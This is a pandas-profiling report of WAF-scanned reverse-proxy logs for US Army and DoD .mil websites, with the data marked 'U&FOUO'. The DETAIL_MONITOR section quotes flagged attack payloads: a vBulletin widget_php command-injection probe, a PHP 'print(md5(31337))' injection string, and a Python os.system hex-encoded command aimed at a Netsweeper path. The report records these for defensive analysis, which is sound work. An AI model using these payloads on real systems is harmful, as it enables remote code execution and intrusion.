Overview

Dataset statistics

Number of variables54
Number of observations44353
Missing cells212321
Missing cells (%)8.9%
Duplicate rows0
Duplicate rows (%)0.0%
Total size in memory18.3 MiB
Average record size in memory432.0 B

Variable types

CAT42
NUM11
BOOL1

Warnings

Data Type has constant value "44353" Constant
Visibility has constant value "44353" Constant
COCOM_SERVER has constant value "44353" Constant
COUNTRY_SERVER has constant value "44353" Constant
DATETIME_RECORD has constant value "44353" Constant
DETAIL_SCAN has constant value "44353" Constant
IPBRANCHCATEGORY_SERVER has constant value "44353" Constant
IPBRANCHCATEGORY_SRC has constant value "44353" Constant
IP_SERVER has constant value "44353" Constant
LATITUDE_SERVER has constant value "44353" Constant
LONGITUDE_SERVER has constant value "44353" Constant
ORGANIZATION_OWNER_SERVER has constant value "44353" Constant
PRODUCTNAME has constant value "44353" Constant
REMARK_PROXSYSG has constant value "44353" Constant
SITE_COLLECTION has constant value "44353" Constant
VERSION_ELFFLOGTYPE has constant value "44353" Constant
DATETIME_LOGSTART has a high cardinality: 447 distinct values High cardinality
DETAIL_MONITOR has a high cardinality: 27909 distinct values High cardinality
FILENAME_INGEST has a high cardinality: 447 distinct values High cardinality
HOSTNAME_DST has a high cardinality: 59 distinct values High cardinality
HOSTNAME_DST_LCASE has a high cardinality: 59 distinct values High cardinality
IP_DST_EFFECTIVE has a high cardinality: 353 distinct values High cardinality
IP_DST_FORWARDED has a high cardinality: 1772 distinct values High cardinality
IP_SRC has a high cardinality: 353 distinct values High cardinality
LOCAL_TIMESTAMP has a high cardinality: 19141 distinct values High cardinality
TYPE_ATTACK has a high cardinality: 99 distinct values High cardinality
URI_EXTENSION has a high cardinality: 73 distinct values High cardinality
URI_PATH has a high cardinality: 5718 distinct values High cardinality
URI_QUERY has a high cardinality: 4150 distinct values High cardinality
URL_REFERRER has a high cardinality: 2082 distinct values High cardinality
USERAGENT has a high cardinality: 1937 distinct values High cardinality
LONGITUDE_SERVER is highly correlated with LATITUDE_SERVERHigh correlation
LATITUDE_SERVER is highly correlated with LONGITUDE_SERVERHigh correlation
MILLISECONDS_TIMETAKEN is highly correlated with LATENCYHigh correlation
LATENCY is highly correlated with MILLISECONDS_TIMETAKENHigh correlation
ASN_SRC has 596 (1.3%) missing values Missing
CONTENTTYPE_HTTPHEADER has 6037 (13.6%) missing values Missing
HOSTNAME_DST_REVERSE has 1440 (3.2%) missing values Missing
IP_DST_FORWARDED has 42283 (95.3%) missing values Missing
LATENCY has 5889 (13.3%) missing values Missing
OUTBOUNDINTERFACE_DEVICE has 42193 (95.1%) missing values Missing
OUTCOME_POLICYVERDICT_BCSGOS has 38726 (87.3%) missing values Missing
URI_EXTENSION has 17018 (38.4%) missing values Missing
URI_QUERY has 32092 (72.4%) missing values Missing
URL_REFERRER has 25975 (58.6%) missing values Missing
BYTES_INPUT is highly skewed (γ1 = 66.62105257) Skewed
BYTES_OUTPUT is highly skewed (γ1 = 45.91515121) Skewed
BYTES_RECEIVED_RS is highly skewed (γ1 = 75.59689154) Skewed
LATENCY is highly skewed (γ1 = 31.60678497) Skewed
MILLISECONDS_TIMETAKEN is highly skewed (γ1 = 20.11714612) Skewed
Id has unique values Unique
UUID_BLUECOATTRANS has unique values Unique
BYTES_RECEIVED_RS has 5925 (13.4%) zeros Zeros
SCORE_BLUECOATWAF has 5378 (12.1%) zeros Zeros

Reproduction

Analysis started2020-09-27 00:29:51.033940
Analysis finished2020-09-27 00:30:43.356340
Duration52.32 seconds
Software versionpandas-profiling v2.9.0
Download configurationconfig.yaml

Variables

Id
Categorical

UNIQUE

Distinct44353
Distinct (%)100.0%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
ebb3d8ecb80d96c2db9ae397646d86e8
 
1
3500b7a5aec25cd196bdb25ee29f5f4b
 
1
1986a49d622811b66fbf53041a2c1d61
 
1
e913eca42596679946f16367bfe3b378
 
1
03c3f87ad6a422d993efa5e623a69472
 
1
Other values (44348)
44348 
ValueCountFrequency (%) 
ebb3d8ecb80d96c2db9ae397646d86e81< 0.1%
 
3500b7a5aec25cd196bdb25ee29f5f4b1< 0.1%
 
1986a49d622811b66fbf53041a2c1d611< 0.1%
 
e913eca42596679946f16367bfe3b3781< 0.1%
 
03c3f87ad6a422d993efa5e623a694721< 0.1%
 
9d9b096808b7c05f13311940b093327b1< 0.1%
 
0a31f08970c8f10c97f7ef34e1cdc7d71< 0.1%
 
88f4826fbb8b182933f1e069f3fd536b1< 0.1%
 
76331f6b37c7b73e1f6f03002071a40f1< 0.1%
 
2375c71321adb230c5ffd00ef04b46971< 0.1%
 
Other values (44343)44343> 99.9%
 
2020-09-26T20:30:43.492009image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique44353 ?
Unique (%)100.0%
2020-09-26T20:30:43.600853image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length32
Median length32
Mean length32
Min length32

Timestamp
Real number (ℝ≥0)

Distinct19125
Distinct (%)43.1%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean1.598018826e+12
Minimum1.596256976e+12
Maximum1.600006375e+12
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:43.711560image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum1.596256976e+12
5-th percentile1.597444146e+12
Q11.597812941e+12
median1.597820754e+12
Q31.597826738e+12
95-th percentile1.599379008e+12
Maximum1.600006375e+12
Range3749399000
Interquartile range (IQR)13797000

Descriptive statistics

Standard deviation596465143.4
Coefficient of variation (CV)0.0003732528889
Kurtosis2.081806245
Mean1.598018826e+12
Median Absolute Deviation (MAD)6568000
Skewness1.324233011
Sum7.087692899e+16
Variance3.557706672e+17
MonotocityNot monotonic
2020-09-26T20:30:43.840246image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
1.598937276e+121090.2%
 
1.596790657e+12560.1%
 
1.599016983e+12460.1%
 
1.598937271e+12460.1%
 
1.598930706e+12460.1%
 
1.599105647e+12450.1%
 
1.599182796e+12450.1%
 
1.59902099e+12450.1%
 
1.599182834e+12450.1%
 
1.599966402e+12440.1%
 
Other values (19115)4382698.8%
 
ValueCountFrequency (%) 
1.596256976e+121< 0.1%
 
1.59625698e+121< 0.1%
 
1.596260695e+121< 0.1%
 
1.596266692e+121< 0.1%
 
1.596266694e+122< 0.1%
 
ValueCountFrequency (%) 
1.600006375e+121< 0.1%
 
1.600005928e+121< 0.1%
 
1.600005693e+121< 0.1%
 
1.600005609e+121< 0.1%
 
1.600003653e+121< 0.1%
 

Data Type
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
rev-proxy-c
44353 
ValueCountFrequency (%) 
rev-proxy-c44353100.0%
 
2020-09-26T20:30:43.970899image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:44.037324image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:44.098161image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length11
Median length11
Mean length11
Min length11

Visibility
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
U&FOUO
44353 
ValueCountFrequency (%) 
U&FOUO44353100.0%
 
2020-09-26T20:30:44.194878image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:44.261733image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:44.321541image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length6
Median length6
Mean length6
Min length6

ACTION_PROXYSG
Categorical

Distinct9
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
TCP_NC_MISS
37981 
TCP_POLICY_REDIRECT
 
2924
TCP_DENIED
 
1215
TCP_HIT
 
852
TCP_MISS
 
797
Other values (4)
 
584
ValueCountFrequency (%) 
TCP_NC_MISS3798185.6%
 
TCP_POLICY_REDIRECT29246.6%
 
TCP_DENIED12152.7%
 
TCP_HIT8521.9%
 
TCP_MISS7971.8%
 
TCP_ERR_MISS5331.2%
 
TCP_CLIENT_REFRESH290.1%
 
TCP_AUTH_HIT20< 0.1%
 
TCP_REFRESH_MISS2< 0.1%
 
2020-09-26T20:30:44.428257image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:44.515051image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:44.686409image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length19
Median length11
Mean length11.3865353
Min length7

ASN_SRC
Real number (ℝ≥0)

MISSING

Distinct145
Distinct (%)0.3%
Missing596
Missing (%)1.3%
Infinite0
Infinite (%)0.0%
Mean16070.70386
Minimum48
Maximum262673
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:44.798139image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum48
5-th percentile8075
Q115169
median15169
Q315169
95-th percentile20473
Maximum262673
Range262625
Interquartile range (IQR)0

Descriptive statistics

Standard deviation12470.87345
Coefficient of variation (CV)0.7760004514
Kurtosis220.8270044
Mean16070.70386
Median Absolute Deviation (MAD)0
Skewness13.17146901
Sum703205789
Variance155522684.7
MonotocityNot monotonic
2020-09-26T20:30:44.928794image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
151693271173.8%
 
1406135668.0%
 
80756681.5%
 
90096551.5%
 
384666471.5%
 
70186101.4%
 
188815461.2%
 
165093980.9%
 
5773850.9%
 
639491930.4%
 
Other values (135)33787.6%
 
(Missing)5961.3%
 
ValueCountFrequency (%) 
482< 0.1%
 
1491< 0.1%
 
20914< 0.1%
 
3837< 0.1%
 
38512< 0.1%
 
ValueCountFrequency (%) 
262673440.1%
 
213035230.1%
 
20205318< 0.1%
 
2009041< 0.1%
 
1993821< 0.1%
 

BYTES_INPUT
Real number (ℝ≥0)

SKEWED

Distinct2837
Distinct (%)6.4%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean10532.06523
Minimum65
Maximum31982885
Zeros0
Zeros (%)0.0%
Memory size346.5 KiB
2020-09-26T20:30:45.057515image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum65
5-th percentile179
Q1487
median620
Q31819
95-th percentile3005
Maximum31982885
Range31982820
Interquartile range (IQR)1332

Descriptive statistics

Standard deviation308915.5541
Coefficient of variation (CV)29.33095718
Kurtosis5447.232277
Mean10532.06523
Median Absolute Deviation (MAD)377
Skewness66.62105257
Sum467128689
Variance9.542881959e+10
MonotocityNot monotonic
2020-09-26T20:30:45.178432image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
5261600.4%
 
5211490.3%
 
5251470.3%
 
5171400.3%
 
5111390.3%
 
5181350.3%
 
5561340.3%
 
5381320.3%
 
5791320.3%
 
5191310.3%
 
Other values (2827)4295496.8%
 
ValueCountFrequency (%) 
656< 0.1%
 
846< 0.1%
 
882< 0.1%
 
923< 0.1%
 
9318< 0.1%
 
ValueCountFrequency (%) 
319828851< 0.1%
 
297710351< 0.1%
 
137074631< 0.1%
 
137043682< 0.1%
 
137041265< 0.1%
 

BYTES_OUTPUT
Real number (ℝ≥0)

SKEWED

Distinct4125
Distinct (%)9.3%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean16675.33407
Minimum0
Maximum7205993
Zeros6
Zeros (%)< 0.1%
Memory size346.5 KiB
2020-09-26T20:30:45.308101image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum0
5-th percentile494
Q11204
median3355
Q332993
95-th percentile35695
Maximum7205993
Range7205993
Interquartile range (IQR)31789

Descriptive statistics

Standard deviation69659.87975
Coefficient of variation (CV)4.177420342
Kurtosis3339.168351
Mean16675.33407
Median Absolute Deviation (MAD)2847
Skewness45.91515121
Sum739601092
Variance4852498846
MonotocityNot monotonic
2020-09-26T20:30:45.426784image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
120437628.5%
 
65816653.8%
 
3569514363.2%
 
54113633.1%
 
5087781.8%
 
14627421.7%
 
15145051.1%
 
2364261.0%
 
4943830.9%
 
5723730.8%
 
Other values (4115)3292074.2%
 
ValueCountFrequency (%) 
06< 0.1%
 
146530.1%
 
2364261.0%
 
2411< 0.1%
 
247350.1%
 
ValueCountFrequency (%) 
72059931< 0.1%
 
36481691< 0.1%
 
36481441< 0.1%
 
32341041< 0.1%
 
29323071< 0.1%
 

BYTES_RECEIVED_RS
Real number (ℝ≥0)

SKEWED
ZEROS

Distinct3156
Distinct (%)7.1%
Missing0
Missing (%)0.0%
Infinite0
Infinite (%)0.0%
Mean14538.33306
Minimum0
Maximum7205905
Zeros5925
Zeros (%)13.4%
Memory size346.5 KiB
2020-09-26T20:30:45.558087image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/

Quantile statistics

Minimum0
5-th percentile0
Q1503
median1580
Q329552
95-th percentile35607
Maximum7205905
Range7205905
Interquartile range (IQR)29049

Descriptive statistics

Standard deviation53583.0042
Coefficient of variation (CV)3.685636035
Kurtosis8439.184096
Mean14538.33306
Median Absolute Deviation (MAD)1580
Skewness75.59689154
Sum644818686
Variance2871138339
MonotocityNot monotonic
2020-09-26T20:30:45.677072image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram with fixed size bins (bins=50)
ValueCountFrequency (%) 
0592513.4%
 
111638018.6%
 
50716653.8%
 
3560716543.7%
 
47214143.2%
 
50312772.9%
 
13748351.9%
 
15226621.5%
 
4896601.5%
 
15804711.1%
 
Other values (3146)2598958.6%
 
ValueCountFrequency (%) 
0592513.4%
 
136430.1%
 
146530.1%
 
1484321.0%
 
15218< 0.1%
 
ValueCountFrequency (%) 
72059051< 0.1%
 
36481551< 0.1%
 
32340431< 0.1%
 
29322461< 0.1%
 
20045082< 0.1%
 

COCOM_SERVER
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
USNORTHCOM
44353 
ValueCountFrequency (%) 
USNORTHCOM44353100.0%
 
2020-09-26T20:30:45.798785image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:45.862203image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:45.922003image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length10
Median length10
Mean length10
Min length10

COCOM_SRC
Categorical

Distinct5
Distinct (%)< 0.1%
Missing7
Missing (%)< 0.1%
Memory size346.5 KiB
USINDOPACOM
35489 
USNORTHCOM
6045 
USEUCOM
 
1969
USSOUTHCOM
 
703
USCENTCOM
 
140
ValueCountFrequency (%) 
USINDOPACOM3548980.0%
 
USNORTHCOM604513.6%
 
USEUCOM19694.4%
 
USSOUTHCOM7031.6%
 
USCENTCOM1400.3%
 
(Missing)7< 0.1%
 
2020-09-26T20:30:46.028717image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:46.129447image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:46.288024image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length11
Median length11
Mean length10.66270602
Min length3

CONTENTTYPE_HTTPHEADER
Categorical

MISSING

Distinct27
Distinct (%)0.1%
Missing6037
Missing (%)13.6%
Memory size346.5 KiB
text/html;%20charset=utf-8
20003 
application/json;%20charset=utf-8
3940 
text/plain;%20charset=utf-8
3821 
text/html;%20charset=us-ascii
3588 
text/html
3361 
Other values (22)
3603 
ValueCountFrequency (%) 
text/html;%20charset=utf-82000345.1%
 
application/json;%20charset=utf-839408.9%
 
text/plain;%20charset=utf-838218.6%
 
text/html;%20charset=us-ascii35888.1%
 
text/html33617.6%
 
application/x-javascript7671.7%
 
image/png6241.4%
 
application/javascript5891.3%
 
text/css4741.1%
 
text/html;%20charset=UTF-82650.6%
 
Other values (17)8842.0%
 
(Missing)603713.6%
 
2020-09-26T20:30:46.459564image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique3 ?
Unique (%)< 0.1%
2020-09-26T20:30:46.603211image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length44
Median length26
Mean length21.86397763
Min length3

COUNTRY_SERVER
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
US
44353 
ValueCountFrequency (%) 
US44353100.0%
 
2020-09-26T20:30:46.708934image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:46.778709image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:46.841541image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length2
Median length2
Mean length2
Min length2

COUNTRY_SRC
Categorical

Distinct38
Distinct (%)0.1%
Missing7
Missing (%)< 0.1%
Memory size346.5 KiB
TW
32669 
US
4932 
IN
 
1503
CA
 
1113
BR
 
696
Other values (33)
3433 
ValueCountFrequency (%) 
TW3266973.7%
 
US493211.1%
 
IN15033.4%
 
CA11132.5%
 
BR6961.6%
 
MY6481.5%
 
DE5981.3%
 
NL5091.1%
 
ID2890.7%
 
GB2740.6%
 
Other values (28)11152.5%
 
2020-09-26T20:30:46.961892image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique3 ?
Unique (%)< 0.1%
2020-09-26T20:30:47.088555image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length3
Median length2
Mean length2.000157825
Min length2

DATETIME_LOGSTART
Categorical

HIGH CARDINALITY

Distinct447
Distinct (%)1.0%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
2020-08-19T07:35:11Z
6935 
2020-08-19T03:35:11Z
5696 
2020-08-19T06:35:11Z
5224 
2020-08-19T04:35:12Z
4872 
2020-08-19T05:35:12Z
4793 
Other values (442)
16833 
ValueCountFrequency (%) 
2020-08-19T07:35:11Z693515.6%
 
2020-08-19T03:35:11Z569612.8%
 
2020-08-19T06:35:11Z522411.8%
 
2020-08-19T04:35:12Z487211.0%
 
2020-08-19T05:35:12Z479310.8%
 
2020-08-19T08:35:11Z37898.5%
 
2020-08-31T23:35:12Z7321.7%
 
2020-08-19T02:35:12Z7001.6%
 
2020-09-11T00:35:11Z5371.2%
 
2020-08-14T21:35:11Z5361.2%
 
Other values (437)1053923.8%
 
2020-09-26T20:30:47.223195image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique76 ?
Unique (%)0.2%
2020-09-26T20:30:47.351096image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length20
Median length20
Mean length20
Min length20

DATETIME_RECORD
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
2020-07-17T23:24:13Z
44353 
ValueCountFrequency (%) 
2020-07-17T23:24:13Z44353100.0%
 
2020-09-26T20:30:47.446873image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:47.513694image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:47.576859image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length20
Median length20
Mean length20
Min length20

DETAIL_MONITOR
Categorical

HIGH CARDINALITY

Distinct27909
Distinct (%)62.9%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"id;q=0.6"}]
 
651
[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]
 
649
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"la;q=0.6"}]
 
550
[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;\"}\n\n"}]
 
475
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"vi;q=0.8"}]
 
457
Other values (27904)
41571 
ValueCountFrequency (%) 
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"id;q=0.6"}]6511.5%
 
[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]6491.5%
 
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"la;q=0.6"}]5501.2%
 
[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;\"}\n\n"}]4751.1%
 
[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"vi;q=0.8"}]4571.0%
 
[{"eng":"blacklist","part":"post_arg","rule":["BL-6024-3"],"data":"${@print(md5(31337))}"}]4481.0%
 
[{"eng":"blacklist","part":"header","rule":["BL-6024-3"],"data":"${@print(md5(31337))}"}]4471.0%
 
[{"eng":"blacklist","part":"header","rule":["BL-6024-3"],"data":"${@print(md5(31337))}\\"}]4471.0%
 
[{"eng":"blacklist","part":"post_arg","rule":["BL-6024-3"],"data":"${@print(md5(31337))}\\"}]4451.0%
 
[{"eng":"analytics_filter","part":"query_arg","rule":["AF-1006-1","AF-1006-30","AF-1006-52"],"data":"g','');import os;os.system('6563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574'.decode('hex'))#"}]4030.9%
 
Other values (27899)3938188.8%
 
2020-09-26T20:30:47.760370image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique27112 ?
Unique (%)61.1%
2020-09-26T20:30:48.101457image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length10256
Median length385
Mean length680.468266
Min length73

DETAIL_SCAN
Categorical

CONSTANT
REJECTED

Distinct1
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
WAF_SCANNED
44353 
ValueCountFrequency (%) 
WAF_SCANNED44353100.0%
 
2020-09-26T20:30:48.239090image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique0 ?
Unique (%)0.0%
2020-09-26T20:30:48.306909image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:48.370737image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length11
Median length11
Mean length11
Min length11

FILENAME_INGEST
Categorical

HIGH CARDINALITY

Distinct447
Distinct (%)1.0%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
http_accel_wap_log.ROCK.2020.08.19.08.35.09.gz
6935 
http_accel_wap_log.ROCK.2020.08.19.04.35.10.gz
5696 
http_accel_wap_log.ROCK.2020.08.19.07.35.10.gz
5224 
http_accel_wap_log.ROCK.2020.08.19.05.35.10.gz
4872 
http_accel_wap_log.ROCK.2020.08.19.06.35.09.gz
4793 
Other values (442)
16833 
ValueCountFrequency (%) 
http_accel_wap_log.ROCK.2020.08.19.08.35.09.gz693515.6%
 
http_accel_wap_log.ROCK.2020.08.19.04.35.10.gz569612.8%
 
http_accel_wap_log.ROCK.2020.08.19.07.35.10.gz522411.8%
 
http_accel_wap_log.ROCK.2020.08.19.05.35.10.gz487211.0%
 
http_accel_wap_log.ROCK.2020.08.19.06.35.09.gz479310.8%
 
http_accel_wap_log.ROCK.2020.08.19.09.35.10.gz37898.5%
 
http_accel_wap_log.ROCK.2020.09.01.00.35.10.gz7321.7%
 
http_accel_wap_log.ROCK.2020.08.19.03.35.10.gz7001.6%
 
http_accel_wap_log.ROCK.2020.09.11.01.35.09.gz5371.2%
 
http_accel_wap_log.ROCK.2020.08.14.22.35.10.gz5361.2%
 
Other values (437)1053923.8%
 
2020-09-26T20:30:48.503382image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique76 ?
Unique (%)0.2%
2020-09-26T20:30:48.629452image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length46
Median length46
Mean length46
Min length46

HOSTNAME_DST
Categorical

HIGH CARDINALITY

Distinct59
Distinct (%)0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
www.first.army.mil
17344 
www.arsouth.army.mil
14006 
jacks.jpeocbd.army.mil
2982 
www.jpeocbrnd.osd.mil
 
1164
ako.first.army.mil
 
1039
Other values (54)
7818 
ValueCountFrequency (%) 
www.first.army.mil1734439.1%
 
www.arsouth.army.mil1400631.6%
 
jacks.jpeocbd.army.mil29826.7%
 
www.jpeocbrnd.osd.mil11642.6%
 
ako.first.army.mil10392.3%
 
www.tooele.army.mil5651.3%
 
jackspublic.jpeocbd.army.mil4701.1%
 
jpeocbrnd.army.mil4411.0%
 
ecbconline.army.mil3810.9%
 
apps.aschq.army.mil3670.8%
 
Other values (49)559412.6%
 
2020-09-26T20:30:48.754120image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique2 ?
Unique (%)< 0.1%
2020-09-26T20:30:48.912696image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length30
Median length19
Mean length19.24990418
Min length5

HOSTNAME_DST_LCASE
Categorical

HIGH CARDINALITY

Distinct59
Distinct (%)0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
www.first.army.mil
17344 
www.arsouth.army.mil
14006 
jacks.jpeocbd.army.mil
2982 
www.jpeocbrnd.osd.mil
 
1164
ako.first.army.mil
 
1039
Other values (54)
7818 
ValueCountFrequency (%) 
www.first.army.mil1734439.1%
 
www.arsouth.army.mil1400631.6%
 
jacks.jpeocbd.army.mil29826.7%
 
www.jpeocbrnd.osd.mil11642.6%
 
ako.first.army.mil10392.3%
 
www.tooele.army.mil5651.3%
 
jackspublic.jpeocbd.army.mil4701.1%
 
jpeocbrnd.army.mil4411.0%
 
ecbconline.army.mil3810.9%
 
apps.aschq.army.mil3670.8%
 
Other values (49)559412.6%
 
2020-09-26T20:30:49.072253image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique2 ?
Unique (%)< 0.1%
2020-09-26T20:30:49.222853image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length30
Median length19
Mean length19.24990418
Min length5

HOSTNAME_DST_REVERSE
Categorical

MISSING

Distinct42
Distinct (%)0.1%
Missing1440
Missing (%)3.2%
Memory size346.5 KiB
mil.army.first.www
17344 
mil.army.arsouth.www
14006 
mil.army.jpeocbd.jacks
2982 
mil.osd.jpeocbrnd.www
 
1164
mil.army.first.ako
 
1039
Other values (37)
6378 
ValueCountFrequency (%) 
mil.army.first.www1734439.1%
 
mil.army.arsouth.www1400631.6%
 
mil.army.jpeocbd.jacks29826.7%
 
mil.osd.jpeocbrnd.www11642.6%
 
mil.army.first.ako10392.3%
 
mil.army.tooele.www5651.3%
 
mil.army.jpeocbd.jackspublic4701.1%
 
mil.army.jpeocbrnd4411.0%
 
mil.army.ecbconline3810.9%
 
mil.army.aschq.apps3670.8%
 
Other values (32)41549.4%
 
(Missing)14403.2%
 
2020-09-26T20:30:49.371571image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique2 ?
Unique (%)< 0.1%
2020-09-26T20:30:49.530149image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length30
Median length19
Mean length18.9815796
Min length3

HTTPMETHOD_DST
Categorical

Distinct7
Distinct (%)< 0.1%
Missing0
Missing (%)0.0%
Memory size346.5 KiB
GET
24964 
POST
19309 
HEAD
 
53
PUT
 
24
UFIB
 
1
Other values (2)
 
2
ValueCountFrequency (%) 
GET2496456.3%
 
POST1930943.5%
 
HEAD530.1%
 
PUT240.1%
 
UFIB1< 0.1%
 
VRUZ1< 0.1%
 
IKKB1< 0.1%
 
2020-09-26T20:30:49.661839image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Frequencies of value counts

Unique

Unique3 ?
Unique (%)< 0.1%
2020-09-26T20:30:49.742615image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
2020-09-26T20:30:49.887234image/svg+xmlMatplotlib v3.3.2, https://matplotlib.org/
Histogram of lengths of the category

Length

Max length4
Median length3
Mean length3.436610827
Min length3

